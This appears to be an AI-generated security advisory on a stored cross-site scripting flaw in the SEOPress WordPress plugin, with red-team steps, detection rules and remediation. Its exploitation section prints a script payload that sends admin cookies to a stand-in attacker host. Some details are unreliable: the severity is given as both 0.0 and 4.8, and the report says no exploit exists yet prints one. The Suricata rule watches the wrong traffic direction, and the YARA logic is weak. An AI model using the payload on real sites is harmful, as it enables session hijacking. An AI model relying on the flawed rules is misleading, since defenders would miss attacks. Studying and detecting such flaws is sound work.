CVE-2023-6290

Executive Summary

CVE-2023-6290 is a Stored Cross-Site Scripting (XSS) vulnerability in the SEOPress WordPress plugin, affecting versions prior to 7.3. The vulnerability arises from insufficient sanitization and escaping of plugin settings, allowing high-privilege users (such as administrators) to inject arbitrary web scripts. These scripts execute in the context of the WordPress admin dashboard, potentially leading to session hijacking, defacement, or further compromise. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is moderate given the required privileges and user interaction. No public exploit code or proof-of-concept is currently available.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The SEOPress plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. The patch is available in version 7.3, which should be applied immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must visit the admin page)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires admin-level access and user interaction, limiting the attack surface. However, once exploited, an attacker can perform actions within the admin context.

Deep Dive & Mechanics

The SEOPress plugin stores various settings in the WordPress database. The vulnerability exists because the plugin does not properly sanitize and escape these settings before outputting them in the admin dashboard. An authenticated administrator can inject malicious JavaScript into a setting field (e.g., a custom title or meta description). When another admin (or the same admin) views the settings page, the injected script executes.

Root Cause: The plugin uses functions like echo or _e() without applying WordPress escaping functions such as esc_html() or wp_kses_post(). This allows HTML and JavaScript to be rendered directly.

Attack Flow:

1. Attacker gains admin access (e.g., via stolen credentials or social engineering).
2. Attacker navigates to SEOPress settings and injects a payload like <script>alert('XSS')</script> into a vulnerable field.
3. The payload is stored in the database.
4. When any admin visits the settings page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (pre-7.3):

// In a settings field output
echo $seopress_titles_single_cpt_title;

Patched Code (7.3+):

// Properly escaped output
echo esc_html( $seopress_titles_single_cpt_title );

The patch applies esc_html() to all user-controllable settings before output, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress admin credentials.
• SEOPress plugin version < 7.3.

Steps:

1. Log in as an admin.
2. Navigate to SEOPress > Titles & Metas.
3. In a text field (e.g., "Single Post Title"), inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save settings.
5. Wait for another admin to visit the same page, or visit it yourself to trigger the XSS.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual changes to SEOPress settings via audit logs.
• Look for script tags in plugin settings database entries.
• Use WAF rules to block common XSS payloads in admin POST requests.

Prevention:

• Upgrade to SEOPress 7.3 immediately.
• Restrict admin access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-seopress/inc/functions/options-titles-metas.php (if unpatched)
• Database: Rows in wp_options table containing seopress_titles_* options with embedded <script> tags.
• Network: Outbound requests to attacker-controlled domains from admin browser.
• Logs: Unusual POST requests to /wp-admin/admin.php?page=seopress-titles with script-like payloads.

Detection Engineering

YARA Rule

rule CVE_2023_6290_SEOPress_XSS {
    meta:
        description = "Detects SEOPress plugin files vulnerable to CVE-2023-6290"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6290"
    strings:
        $vuln_func = /echo\s*\$seopress_titles_/
        $safe_func = /esc_html\(\s*\$seopress_titles_/
    condition:
        $vuln_func and not $safe_func
}

Sigma Rule

title: CVE-2023-6290 SEOPress Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2023-6290 via admin POST requests
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        c-uri|contains: admin.php?page=seopress-titles
        cs-uri-query|contains:
            - '<script'
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate admin updates with benign HTML
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6290 SEOPress XSS Payload Outbound"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=seopress-titles"; http_uri; pcre:"/<script|<img|onerror|onload/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update SEOPress to version 7.3 or later via WordPress admin dashboard.
2. Verify no malicious settings exist by reviewing wp_options table for seopress_titles_* entries containing scripts.
3. Rotate all admin passwords as a precaution.

Long-term Measures:

• Enforce principle of least privilege for WordPress users.
• Regularly audit plugin settings for unauthorized changes.
• Implement Web Application Firewall (WAF) rules to block XSS attempts.
• Keep all plugins and core updated.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.